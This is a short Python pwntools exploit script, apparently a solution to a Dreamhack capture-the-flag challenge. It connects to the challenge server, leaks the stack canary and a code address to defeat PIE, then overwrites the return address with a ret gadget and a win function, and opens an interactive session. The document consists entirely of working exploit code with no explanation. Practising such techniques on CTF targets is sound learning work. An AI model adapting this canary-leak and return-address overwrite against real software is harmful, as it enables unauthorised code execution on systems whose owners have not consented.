from pwn import *

p = remote("host8.dreamhack.games", 20740)
#p = process("./main")

p.sendline(b'a' * 7)
p.sendline(b'1000')
p.recvuntil(b'a' * 1001)
canary = u64(b'\x00' + p.recvn(7))
print('canary is', hex(canary))

p.sendline(b'a' * 43)
p.sendline(b'1000')
p.recvuntil(b'a' * 1032)
code_base = u64(p.recvn(6) + b'\x00\x00') - 0x128a
print('code_base is', hex(code_base))
win = code_base + 0x1270
ret = code_base + 0x101a

p.sendline(b'\x00' * 43)
p.sendline(b'1000')

#pause()
p.sendline(b'a' * 11 + p64(canary) + b'\x00' * 8 + p64(ret) + p64(win))
p.sendline(b'1000')

p.sendline(b'a')
p.sendline(b'1001')

p.interactive()